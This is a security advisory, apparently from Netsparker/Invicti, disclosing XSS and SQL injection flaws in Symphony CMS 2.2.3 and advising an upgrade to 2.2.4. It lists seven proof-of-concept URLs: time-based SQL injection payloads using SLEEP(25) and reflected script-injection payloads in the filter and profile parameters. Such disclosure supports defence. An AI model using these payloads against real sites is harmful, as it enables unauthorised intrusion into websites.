Information
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Advisory by Netsparker (now Invicti)
Name: XSS and SQL Injection Vulnerabilities on Symphony CMS
Software: Symphony CMS 2.2.3 and possibly below
Vendor Homepage: http://www.getsymphony.com/
Vulnerability Type: Cross-Site Scripting and SQL Injection
Severity: Critical
Researcher: Mesut Timur
Advisory Reference: NS-11-008

Description
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Symphony is a web-based content management system (CMS) that enables users to create and manage websites and web applications of all shapes and sizes—from the simplest of blogs to bustling news sites and feature-packed social networks.

Details
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Symphony is affected by several XSS and SQL Injection vulnerabilities.
Example PoC urls are as follows :

  • http://example.com/symphony/publish/comments/?filter='+(SELECT+1+FROM+(SELECT+SLEEP(25))A)+'
  • http://example.com/symphony/publish/images/?filter='+(SELECT+1+FROM+(SELECT+SLEEP(25))A)+'
  • http://example.com/?profile='"--></style></script><script>alert(1)</script>
  • http://example.com/symphony/publish/comments/?filter='"--></style></script><script>alert(1)</script>
  • http://example.com/symphony/publish/images/?filter='"--></style></script><script>alert(1)</script>
  • http://example.com/about/?profile='"--></style></script><script>alert(1)</script>
  • http://example.com/drafts/?profile='"--></style></script><script>alert(1)</script>


You can read the full article about Cross-Site Scripting and SQL Injection vulnerabilities from here :


Solution
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Upgrade to the latest Symphony version (2.2.4).

Credits
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It has been discovered on testing of Invicti Web Application Security Scanner.

References
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2. Invicti Advisories : /web-applications-advisories/

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.